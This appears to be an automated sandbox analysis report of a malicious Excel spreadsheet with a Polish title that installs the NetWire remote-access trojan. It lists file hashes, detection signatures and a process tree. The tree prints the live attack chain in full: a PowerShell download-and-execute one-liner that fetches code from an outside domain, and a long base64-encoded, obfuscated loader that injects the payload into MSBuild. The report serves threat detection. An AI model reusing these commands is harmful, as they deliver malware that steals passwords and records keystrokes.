Analysis

  • max time kernel
    143s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    14-07-2020 14:07

General

  • Target

    Potwierdzenie transakcji (3).xls

  • Size

    858KB

  • MD5

    12e613fff7e95373c60b0d323807b14a

  • SHA1

    57ba3149d1204d1be553c2b6f9e057624c148386

  • SHA256

    4ee1e35fc610375d651202f828ea4c0512d1072a13dd72947efb804ea05958d3

  • SHA512

    dfd5602574e753eb57aecdd0ea5c345caca0e0292cd55a7e97ce5785ffae9a143530e27fea047d331b25069f46d688d2c559de3213fb8a56d1599eaa9fb00afd

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://office-service-softs.info/tech.jpg

Signatures

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • NetWire RAT payload 2 IoCs
  • Netwire

    Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.

  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie transakcji (3).xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://office-service-softs.info/tech.jpg')
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Blacklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABYAHcAIAA9ACAAJwBNAHUAZwBwAGoAcwBjAFcAQgAnADsACgAkAFAAcwBiAGIAWQBWAGwAYgBrACAAPQAgACgAJwB7ADIAfQB7ADAAfQB7ADEAfQB7ADMAfQAnAC0AZgAnAGQAUwB0ACcALAAnAHIAaQBuACcALAAcIGAARABgAG8AYAB3AG4AYABsAGAAbwBhAB0gLAAnAGcAJwApADsAWwB2AG8AaQBkAF0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAJwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAnACkAOwAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAagA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAUABzAGIAYgBZAFYAbABiAGsALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AcgBuAHAALgB0AHgAdAAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAFAAcwBiAGIAWQBWAGwAYgBrACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AbQBhAGkAbgAxAC4AdAB4AHQAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAQAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABUAFMAUQBuAEIAegBJAEIAYQBlAFoAcwBIAG4ASABvAGkAUQBiAG8ATwB1AFYAbQBQAFAAcABPAEQAbwBmAGcARABEAFIATwBGAGYAQQB2AEoAYQB0AFgAZQBnAHgAdwBuAFoAaQBrAHQAcABtAG4AQwBxAEYAaABsAE0AaQBwAEoAWQBRAFYAQwB5AHoAUwBJAHEAYwBmAGUAdwB2ACkA
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Blacklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:780
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
            PID:3864

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3864-2-0x0000000000400000-0x0000000000433000-memory.dmp

      Filesize

      204KB

    • memory/3864-4-0x0000000000400000-0x0000000000433000-memory.dmp

      Filesize

      204KB